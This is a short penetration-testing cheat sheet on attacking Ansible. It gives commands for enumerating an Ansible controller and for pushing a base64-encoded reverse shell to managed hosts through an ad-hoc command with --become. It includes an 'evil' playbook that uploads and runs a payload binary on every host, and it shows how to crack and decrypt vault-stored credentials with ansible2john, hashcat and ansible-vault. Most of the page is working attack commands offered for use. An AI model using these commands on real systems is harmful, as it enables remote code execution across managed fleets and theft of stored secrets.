> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/pentest/infrastructure/devops/ansible.md).

# Ansible

## Enumeration

When on ansible controller:

```
$ cat /etc/passwd | grep ans
$ cat /etc/ansible/hosts
$ ansible --version
```

## Execute Code

Using ad-hoc commands:

```
$ ansible <GROUP_NAME> -m shell -a "echo <BASE64_REVERSE_SHELL>|base64 -d|/bin/bash" --become
```

Playbook example:

{% code title="evil.yml" %}

```yaml
# ansible-playbook evil.yml
- name: Evil playbook
  hosts: all
  gather_facts: true
  tasks:
    - name: upload
      copy:
        src: /tmp/met
        dest: /dev/shm/met
        mode: a+x
    - name: execute
      shell: "nohup /dev/shm/met &"
      async: 10
      poll: 0
```

{% endcode %}

## Crack the Vault

When vault-encrypted creds are discovered, the vault passwords can be cracked with hashcat:

```
$ /usr/share/john/ansible2john.py vuln.yaml > vault.in
$ hashcat -m 16900 -O -a 0 -w 3 --session=vault -o vault.out vault.in seclists/Passwords/darkc0de.txt -r rules/d3ad0ne.rule
```

The original password can then be decrypted with ansible:

```
$ cat vault.in
$ANSIBLE_VAULT;1.1;AES256
00000000000000000000000000000000000000000000000000000000000000000000000000000000
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
00000000000000000000000000000000000000000000000000000000000000000000000000000000
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
00000000000000000000000000000000000000000000000000000000000000000000

$ cat vault.in | ansible-vault decrypt
```